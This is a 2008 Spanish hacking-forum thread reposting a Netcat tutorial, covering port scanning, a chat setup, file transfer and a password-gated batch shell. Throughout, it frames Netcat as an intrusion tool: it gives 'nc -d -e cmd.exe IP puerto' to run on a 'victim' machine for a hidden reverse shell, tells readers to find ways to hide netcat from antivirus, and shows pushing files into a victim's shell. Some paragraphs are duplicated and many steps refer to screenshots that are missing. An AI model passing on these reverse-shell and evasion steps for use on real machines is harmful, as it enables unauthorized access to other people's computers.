-^Blue Hacking^-

El mejor hacking al alcance de todos
 
ÍndiceFAQRegistrarseConectarse

Comparte | 
 

 Tutorial Netcat by RockoX!

Ver el tema anterior Ver el tema siguiente Ir abajo 
AutorMensaje
duirk
Co-Administrador
Co-Administrador


Mensajes : 88
Fecha de inscripción : 28/09/2008

MensajeTema: Tutorial Netcat by RockoX!   Jue Oct 16, 2008 11:41 pm

Bueno este es un manual que publique en otro foro, pero quiero compartir tambien con esta comunidad ! Smiley

Bueno en este tutorial de Netcat, trataremos lo mas comun de Netcat, aprenderemos a obtener shells remotamente, crear un Chat y troyanizarlo.
POR Kliber
Primero un poco de historia de Netcat :
Netcat es un pequeño programa creado para uso de los
administradore s de redes (y por supuesto para los Hackers) Smiley, este
proggie fué creado originalmente por Hobbit y porteado a Win95 y NT por
Weld Pond de L0pht , tiene mas de un año desde que fué Liberado y muy
poco se ha escrito sobre este Programita; Principalmente porque la estructura
de sus comandos es poco familiar para el usuario medio. Netcat tiene
infinidad de funciones, aunque se deja que sea el usuario quien las
averigue Tongue, y en el archivo de ayuda ponen algunos ejemplitos muy
elementales solamente...
-v Sencillamente se utiliza para ver informacion sobre el proceso de conexion, es lo que hace ver : listenig to [any]
-l Es el modo de escucha, en este caso para ponerlos a la escucha.
-p es para especificar el puerto de la Conexion, en el caso del ejemplo fue el 123, pero ustedes pueden usar cualquiera, pero hay sus excepciones
como el 445, el 139 etc, en fin, son puertos que ya se estan usando.
123 es el puerto de la conexion.
Puertos recomendados :
25 y 80, ya que estos puertos en algunos Routers estan abiertos por defecto y asi no tenemos que preocuparnos por abrirlos.

Ahora veamos como obtener una shell remota, en la maquina victima ponemos esto :
Código:

nc -d -e cmd.exe IP puerto


Lamentablement e netcat ya es detectado por muchos antivirus como aplicacion Remota.
Pero bueno, tendran que arregarselas para esconderlo.
Una de las desventajas tambien es que la victima tiene que tener netcat, para poder recibir o dar una shell.

Vamos a ver como ponernos a la escucha de una conexion :

Lo que estamos haciendo ahi es basicamente esperar a que alguien se conecte a nosotros, es lo que se le llama una conexion inversa, osea
que la victima es la que se conecta a nosotros. Personalmente prefiero esta conexion.
Pero que es lo que significan los parametros -vlp ?
Notese que use los parametros juntos, asi -vlp, pero pude aver hecho esto, y es exactamente lo mismo :
Lo que estamos haciendo ahi es basicamente esperar a que alguien se conecte a nosotros, es lo que se le llama una conexion inversa, osea
que la victima es la que se conecta a nosotros. Personalmente prefiero esta conexion.
Pero que es lo que significan los parametros -vlp ?
Notese que use los parametros juntos, asi -vlp, pero pude aver hecho esto, y es exactamente lo mismo :
Veamos un ejemplo pratico :
Volver arriba Ir abajo
Ver perfil de usuario
duirk
Co-Administrador
Co-Administrador


Mensajes : 88
Fecha de inscripción : 28/09/2008

MensajeTema: Re: Tutorial Netcat by RockoX!   Jue Oct 16, 2008 11:45 pm

Explicacion de los parametros:
-d Significa que desvincula a netcat del cmd y lo hace trabajar en modo oculto. (Parametro Recomendado)
-e Para ejecutar un programa en la conexion, en este caso usamos el cmd.exe que es el que nos interesa para la shell
cmd.exe Obvio
IP es la maquina a la que literalmente enviaremos la conexion, y en ese ejemplo usamos el puerto 123

En la primera pantalla observamos que obtenemos una shell remota con privilegios del usuario actual :

Ahora usemos el parametro L (No es l, es diferente), este parametro sirve para una escucha mas poderosa, eso quiere decir que si se
rompe una conexion, netcat seguira a la escucha :

Como vemos en la imagen anterior, sali de la shell con exit y siguio a la escucha.

Ahora veamos como obtener informacion sobre un host, basicamente haremos esto :
Código:

nc -vv host puerto

(En este caso use dos parametros verbose, para obtener mayor informacion sobre el proceso)

Como vemos especifique el puerto 139, para obtener informacion sobre el estado, y me lo marco como Open o abierto.


Ahora veamos a Netcat en modo Scanner.
Código:

nc -v -w tiempoensegundos -z Host puertos o Rango

Parametros:
-w Numero de segundos a esperar (Wait)
-v Modo verbose ( si especificamos doble vv no hay problea)
-z Modo usado para escanear.

Ejemplo :
Código:

nc -vv -w 3 -z 192.168.1.64 10 139 443 23

Me devuelve los puertos abiertos, en este caso el 443 y el 139 (Netbios)

Ahora veamos como escanear usando un rango de puertos :

Modo Sniffer
Primero chequense este post, es bastante aclaratorio :
foro.elhacker. net/hacking_basico/sniffer_en_localhost_con_netcat-t211029.0.html

La duda decia asi :
Salu2!

Tengo un router conctado por cable a un ordenador de sobremesa y un portatil conectado por wireless.
El caso es que pongo un netcat a la escucha en el puerto telnet:

Código:

nc -vv -L (ip) -p 23
192.168.1.1: inverse host loockup failed: h_errno 11004: NO_DATA
listening on [any] 23 ...


Como se supone que ahora netcat se encuentra escuchando todo lo que pasa en el puerto 23 inicio una sesion telnet y me conecto a dicha ip:

telnet (ip)

Introduzco los datos de login y dichos datos no aparecen en la ventana de netcat.

Que puedo acer?? Espero vuestras repuestas!
Gracias de antemano.
Y la respuesta es esta :
Prueba con estos parametroas
Volver arriba Ir abajo
Ver perfil de usuario
duirk
Co-Administrador
Co-Administrador


Mensajes : 88
Fecha de inscripción : 28/09/2008

MensajeTema: Re: Tutorial Netcat by RockoX!   Jue Oct 16, 2008 11:49 pm

Ahora veamos como guardar el texto tecleado por la ventana sniffada :

Ahora nos conectamos asi, ya sea usando Netcat, Putty o Telnet, en el siguiente ejemplo usare a Telnet ya que es nativo de Windows.
telnet ip puerto

Luego verificamos lo que se guardo, con el comando type :

Eso es basicamente el Sniffer Netcat.



Chat con Netcat :
Hola aqui les dejo este mini Tutorial de Como Crear un Chat con Netcat, Putty e Telnet.

Empecemos con Netcat!

Esto sirve especialmente para chatear en redes LAN, pero claro que se puede hacer en cualquier RED, solo necesitan asegurarse que los puertos de su Modem-Router.

Primero nos descargamos Netcat de aqui:
Código:

http://sourceforge.net/project/downloading.php?groupname=netcat&filename=netcat-0.7.1.tar.gz&use_mirror=superb-west


Luego lo descomprimimos en \Windows\system32

Y para poner en marcha nuestro chat.


Abrimos una ventana de CMD (Menu Inicio> Ejecutar > Escribimos CMD y damos Enter) :

Luego en la ventana del CMD, tecleamos esto :
Código:

nc -vlLp 123


Y nos saldra esto :

Luego, nuestro amigo tendra que teclear esto en el CMD , para conectarse con nosotros y conversar :
Código:

nc TUIP 123

Nota: Donde puse TUIP, deben de poner su IP interna( en caso de que esten en una red LAN), o su IP Externa.
Y donde puse 123. es el puerto por el que se dara la conexion, pero ustedes pueden poner el que quieran, siempre y cuando los dos coincidan.

Luego en nuestra pantallita (La ventana con letras verdes) nos deberia de salir algo asi :
Volver arriba Ir abajo
Ver perfil de usuario
duirk
Co-Administrador
Co-Administrador


Mensajes : 88
Fecha de inscripción : 28/09/2008

MensajeTema: Re: Tutorial Netcat by RockoX!   Jue Oct 16, 2008 11:56 pm

Eso quiere decir que la conexion se creo satisfactoriam ente y podemos establecer la conversacion.


Ahora a Chatear :


Y en la ventana de mi amigo :


Ahora veamos como crearlo con Putty.
En nuestra maquina, en El CMD, ponemos esto :
Código:

nc -vlLp 123


Y nos saldra esto :

Luego abrimos el Putty.
Y nos saldra algo como esto :

Dejanos las configuracione s como esta en esta imagen:

Y damos OPEN:
Lo tachado en Rojo, es mi IP y por eso la cubri, ustedes usen su IP, si estan en una red LAN, usen su IP privada, y si estan fuera de una red, usen su IP externa, pero asegurese de que sus puertos estan abiertos en su Router.
Luego las Dos Ventanas nos debieron cambiar asi :

Primera :

Segunda (Putty) :

Ahora podemos Chatear :


Como vemos, otra manera mas, de crear un chat!

Ahora veamos como hacerlo con Telnet!
En la ventana del CMD, tecleamos esto :
Código:

nc -vlLp 123


Y nos saldra esto :

Luego en la segunda ventana, ponemos esto y damos enter :

Y nos tuvo que haber cambiado las dos ventana :
La primera asi :

Y en la segunda esto :
Volver arriba Ir abajo
Ver perfil de usuario
duirk
Co-Administrador
Co-Administrador


Mensajes : 88
Fecha de inscripción : 28/09/2008

MensajeTema: Re: Tutorial Netcat by RockoX!   Vie Oct 17, 2008 12:02 am

Y comencemos a chatear :


Y eso es todo, espero y les haya servido.

Adios.



Enviar archivos con Netcat :
Ahora veamos como enviar un archivo, teniendo una shell remota.
En la shell remota ponemos esto, nos estamos preparando para recibir el archivo, en este caso la victima :

Ahora hacemos esto para enviar el archivo, en este caso cryptcat.exe

Ahora Veamos como cambio nuestra primera ventana :

Ahora chequemos que se haya transferido correctamente :

Como vemos el archivo cryptcat.exe se transfirio correctamente.

Proteger una Shell remota con un archivo Bat y Netcat!

Primero supongamos que estamos a la escucha en una shell remota asi :
Código:

nc -vlp 123


Y queremos proteger la shell que se va a dar a la maquina en escucha.
El code del Bat :
PD : La base del code es de un amigo, Lukhardy, las modificaciones y aseguramientos del code son mios.


Código:

@echo off
color 0a
Title Shell protected!
:Restringido
cls
Echo Area restringida!
echo Esta shell esta restringida por RockoX!
pause>nul
:Acceso1
cls
set /p login=Introduzca el nombre de usuario :
if ["%login%"]==[""] (
cls
echo No has puesto nada!
pause>nul
goto Acceso1
goto :EOF
)
if %login%==RockoX (
cls
goto :Password
) else (
goto :Denegado
)

:Password
cls
set /p pass=Introduzca el password :
if ["%pass%"]==[""] (
cls
echo No has puesto nada!
pause>nul
goto Password
)
if %pass%==Flaquita (
goto Acceso
) else (
goto Denegado
)

:Acceso
cls
echo Shell remota obtenida satisfactoriamente!
@cmd.exe /k cd %windir%\system32
cls
echo --- LA CONEXION SE HA TERMINADO ---
goto :eof

:Denegado
cls
Echo El login o el password es incorrecto!
echo Pulse cualquier tecla para continuar o salga ahora.
pause>nul
goto Acceso

Luego guardamos ese code con cualquier nombre, en mi caso use el nombre de Shellprotected .bat.
Luego supongamos que enviaremos la shell a la maquina en escucha pero incluido el batch para que actue y pida una pass a la maquina que esta en escucha :
Primero se la enviamos asi :
Código:

nc -d -e Shellprotected.bat IP puerto

En la maquina en escucha le saldra esto :
Volver arriba Ir abajo
Ver perfil de usuario
duirk
Co-Administrador
Co-Administrador


Mensajes : 88
Fecha de inscripción : 28/09/2008

MensajeTema: Re: Tutorial Netcat by RockoX!   Vie Oct 17, 2008 12:02 am

Y en que caso de que el usuario no sepa la pass que esta especificada en el bat no lo dejara continuar :

Ustedes pueden cambiar el login RockoX por otro, igual con el password que esta en el batch.

Bueno es todo por hoy, luego veremos mas cosas...
Saludos...
Volver arriba Ir abajo
Ver perfil de usuario
Contenido patrocinado




MensajeTema: Re: Tutorial Netcat by RockoX!   Hoy a las 2:49 pm

Volver arriba Ir abajo
 
Tutorial Netcat by RockoX!
Ver el tema anterior Ver el tema siguiente Volver arriba 
Página 1 de 1.
 Temas similares
-
» [Tutorial] Moderar un tema antes de ser posteado
» como ver en pantalla completa tutorial "web en mi foro"
» Por que no ponen el tutorial de la cosa que pusieron en el indice
» sobre como editar el menu desplegable que ofrecer en un tutorial en este foro
» [Tutorial] Pop-Ups

Permisos de este foro:No puedes responder a temas en este foro.
-^Blue Hacking^- :: Hacktivismo :: Hacking Novatos-
Cambiar a: